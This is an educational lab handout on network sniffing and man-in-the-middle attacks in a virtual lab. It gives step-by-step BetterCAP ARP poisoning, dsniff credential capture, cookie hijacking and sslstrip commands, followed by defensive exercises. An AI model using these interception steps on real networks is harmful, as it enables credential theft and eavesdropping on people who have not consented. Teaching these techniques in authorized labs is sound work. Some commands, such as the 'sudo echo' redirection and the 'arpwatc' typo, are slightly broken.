

Fundamentals of Information Systems Security

Lab 7: Network Sniffing and Man-in-the-Middle Attacks

Understanding Network Vulnerabilities and Attack Vectors

Version: 1.0

Estimated Time: 2-3 Hours

Difficulty Level: Intermediate

Prerequisites: Labs 1-2, 4

Contents

1	Introduction	2
1.1	What is Network Sniffing?	2
1.2	Learning Objectives	2
1.3	Prerequisites	2
1.4	Ethical Considerations	3
2	Understanding ARP Protocol	4
2.1	What is ARP?	4
2.2	ARP Poisoning Explained	4
3	Lab Environment Setup	5
3.1	Network Configuration	5
3.2	Enable IP Forwarding	5
3.3	Install Required Tools	5
4	Lab Exercises	6
4.1	Exercise 1: ARP Poisoning with BetterCAP	6
4.2	Exercise 2: Capturing Network Traffic	6
4.3	Exercise 3: Sniffing Credentials	7
4.4	Exercise 4: Session Hijacking	7
4.5	Exercise 5: SSL/TLS Stripping	7
4.6	Exercise 6: Defensive Measures	8
5	Common Issues and Troubleshooting	9
6	Deliverables	9
7	Additional Resources	9

1 Introduction

1.1 What is Network Sniffing?

Network sniffing, also known as packet sniffing, is the practice of capturing and analyzing data packets as they traverse a network. While sniffing has legitimate uses in network administration and troubleshooting, attackers can use it to intercept sensitive information.

Key Concepts

- **Promiscuous Mode:** A network interface mode that captures all packets, not just those destined for the interface
- **Packet Capture:** The process of intercepting and storing network traffic
- **Protocol Analysis:** Examining captured packets to understand network communication
- **Passive vs Active Sniffing:** Passive sniffing monitors traffic without interaction; active sniffing involves injecting packets

1.2 Learning Objectives

By the end of this lab, you will be able to:

1. Understand the fundamentals of network sniffing
2. Perform ARP poisoning to intercept network traffic
3. Capture and analyze network packets
4. Identify sensitive information in unencrypted traffic
5. Perform session hijacking attacks
6. Understand SSL/TLS stripping attacks
7. Implement defensive measures against MITM attacks

1.3 Prerequisites

- Kali Linux VM (from Lab 1)
- Target VM (Metasploitable 2 or another lab partner's VM)
- Basic understanding of networking protocols (TCP/IP, ARP, HTTP)
- Familiarity with Wireshark (from Lab 4)
- Understanding of the OSI model (from Chapter 1)

1.4 Ethical Considerations

Important Legal Notice

- This lab is for **educational purposes only**
- Only perform attacks on systems you **own** or have **explicit permission** to test
- Intercepting communications without authorization is illegal and unethical
- Use these skills responsibly to improve security
- Always obtain written authorization before testing

2 Understanding ARP Protocol

2.1 What is ARP?

The Address Resolution Protocol (ARP) is used to map IP addresses to MAC addresses on local networks. When a device wants to communicate with another device on the same network, it uses ARP to discover the MAC address associated with the target IP address.

ARP Protocol Overview

- **ARP Request:** Broadcast asking "Who has this IP address?"
- **ARP Reply:** Unicast response "I have that IP address, here's my MAC"
- **ARP Cache:** Table storing IP-to-MAC mappings
- **ARP Poisoning:** Sending forged ARP replies to redirect traffic

2.2 ARP Poisoning Explained

ARP poisoning, also known as ARP spoofing, occurs when an attacker sends forged ARP messages to associate their MAC address with the IP address of another device (typically a gateway). This causes traffic intended for the legitimate device to be sent to the attacker instead.

ARP Poisoning Mechanism

1. Attacker sends forged ARP reply claiming to be the gateway
2. Victim updates ARP cache with attacker's MAC
3. Traffic destined for gateway is sent to attacker
4. Attacker forwards traffic to the legitimate gateway (transparent)
5. Attacker can capture, modify, or drop the traffic

3 Lab Environment Setup

3.1 Network Configuration

highlightblue Device	IP Address	Network
Kali Linux (Attacker)	192.168.56.101	Virtual Network
Metasploitable 2 (Target)	192.168.56.102	Virtual Network
Gateway (VirtualBox)	192.168.56.1	Virtual Network
Windows VM (Optional)	192.168.56.103	Virtual Network

3.2 Enable IP Forwarding

To perform MITM attacks, IP forwarding must be enabled to pass traffic through:

```
# Check current status
cat /proc/sys/net/ipv4/ip_forward

# Enable IP forwarding (temporary)
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

# Permanent change
sudo sysctl -w net.ipv4.ip_forward=1
```

3.3 Install Required Tools

```
# Install BetterCAP (modern replacement for Ettercap)
sudo apt-get update
sudo apt-get install bettercap

# Install dsniff tools
sudo apt-get install dsniff

# Install SSL Strip (for HTTPS stripping)
sudo apt-get install sslstrip
```

4 Lab Exercises

4.1 Exercise 1: ARP Poisoning with BetterCAP

Exercise 1: ARP Poisoning

Objective: Perform ARP poisoning to intercept traffic between a target and the gateway.

1. Start BetterCAP in interactive mode:

```
sudo bettercap -iface eth0
```

2. Identify network devices:

```
net.probe on  
net.show
```

3. Enable ARP spoofing:

```
set arp.spoof.targets 192.168.56.102  
arp.spoof on
```

4. Verify ARP poisoning worked:

```
# On the target VM, check ARP cache  
arp -a
```

5. Monitor network traffic:

```
net.sniff on
```

6. **Reflection:** How can ARP poisoning be detected?

4.2 Exercise 2: Capturing Network Traffic

Exercise 2: Traffic Capture

Objective: Capture and analyze network traffic during ARP poisoning.

1. Start a packet capture:

```
net.sniff on  
net.sniff.output capture.pcap
```

2. Generate traffic from the target:

```
wget http://example.com  
curl http://example.com
```

3. Stop the capture:

```
net.sniff off
```

4. Analyze with Wireshark:

```
wireshark capture.pcap
```

5. **Reflection:** What types of sensitive information can be captured?

4.3 Exercise 3: Sniffing Credentials

Exercise 3: Credential Sniffing

Objective: Capture usernames and passwords from unencrypted protocols.

1. Install and configure dsniff:

```
sudo apt-get install dsniff
```

2. Start dsniff:

```
sudo dsniff -i eth0
```

3. Generate login attempts:

```
telnet 192.168.56.102  
# Login with: msfadmin / msfadmin
```

4. Use urlsnarf:

```
sudo urlsnarf -i eth0
```

5. **Reflection:** What other protocols transmit credentials in plain text?

4.4 Exercise 4: Session Hijacking

Exercise 4: Session Hijacking

Objective: Hijack an active web session using captured cookies.

1. Capture HTTP traffic:

```
wireshark -i eth0
```

2. Identify session cookies:

```
# Filter for HTTP requests with cookies  
http.cookie
```

3. **Reflection:** How can session hijacking be prevented?

4.5 Exercise 5: SSL/TLS Stripping

Exercise 5: SSL Stripping

Objective: Understand how HTTPS can be downgraded to HTTP.

1. Install SSLstrip:

```
sudo apt-get install sslstrip
```

2. Enable IP forwarding:

```
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80
-j REDIRECT --to-port 8080
```

3. Start SSLstrip:

```
sudo sslstrip -l 8080 -f
```

4. **Reflection:** How does HSTS protect against SSL stripping?

4.6 Exercise 6: Defensive Measures

Exercise 6: Defense Implementation

Objective: Implement and test defensive measures against ARP poisoning.

1. Static ARP Entries:

```
arp -s 192.168.56.1 aa:bb:cc:dd:ee:ff
arp -a
```

2. Monitor ARP traffic:

```
sudo apt-get install arpwatc
sudo arpwatc -i eth0
sudo tcpdump -i eth0 arp
```

3. **Reflection:** Why is encryption the most effective defense?

5 Common Issues and Troubleshooting

highlightblue Issue	Cause	Solution
Traffic Not Redirected	IP forwarding disabled	Enable IP forwarding
ARP Poisoning Fails	Network segmentation	Check VLAN configuration
SSL Strip Not Working	HSTS enabled	Use modern tool (bettercap)
Session Hijack Fails	Session encryption	Need additional techniques

6 Deliverables

Submit a report containing:

1. Screenshots of successful ARP poisoning
2. Screenshots of captured credentials
3. Screenshots of session hijacking attempts
4. Wireshark captures showing sensitive data
5. A reflection on the vulnerabilities demonstrated
6. Recommendations for defensive measures

7 Additional Resources

- **BetterCAP Documentation:** <https://www.bettercap.org/>
- **Wireshark User Guide:** <https://www.wireshark.org/docs/>
- **OWASP MITM Testing Guide:** <https://owasp.org/www-community/attacks/Man-in-the-middle-attack>